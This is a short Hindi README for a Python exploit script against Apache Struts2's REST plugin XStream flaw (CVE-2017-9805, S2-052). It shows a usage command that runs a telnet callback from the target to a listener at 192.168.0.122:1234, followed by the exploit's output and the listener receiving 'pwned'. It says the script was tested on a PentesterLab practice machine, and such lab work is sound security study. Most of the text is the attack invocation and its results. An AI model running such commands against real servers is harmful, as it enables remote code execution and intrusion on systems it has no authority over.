
Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805) के लिए शोषण स्क्रिप्ट
संसाधन: * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805
एक पायथन एक्सप्लॉइट स्क्रिप्ट जो S2-052 के लिए भेद्य Struts2 होस्ट करने वाले सिस्टम के शेल में रिमोट कमांड निष्पादित करने में सक्षम है।
python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234"
[*] Apache Struts XStream REST vulnerability - S2-052
[*] Creating payload ...
[*] Exploit packet has 2582 bytes.
[*] Sending exploit packet ...
[+] Exploit packet has been sent.
listening on [any] 1234 ...
connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791
pwned
पेंटेस्टरलैब के s2-052 अभ्यास की भेद्य मशीन पर परीक्षण किया गया।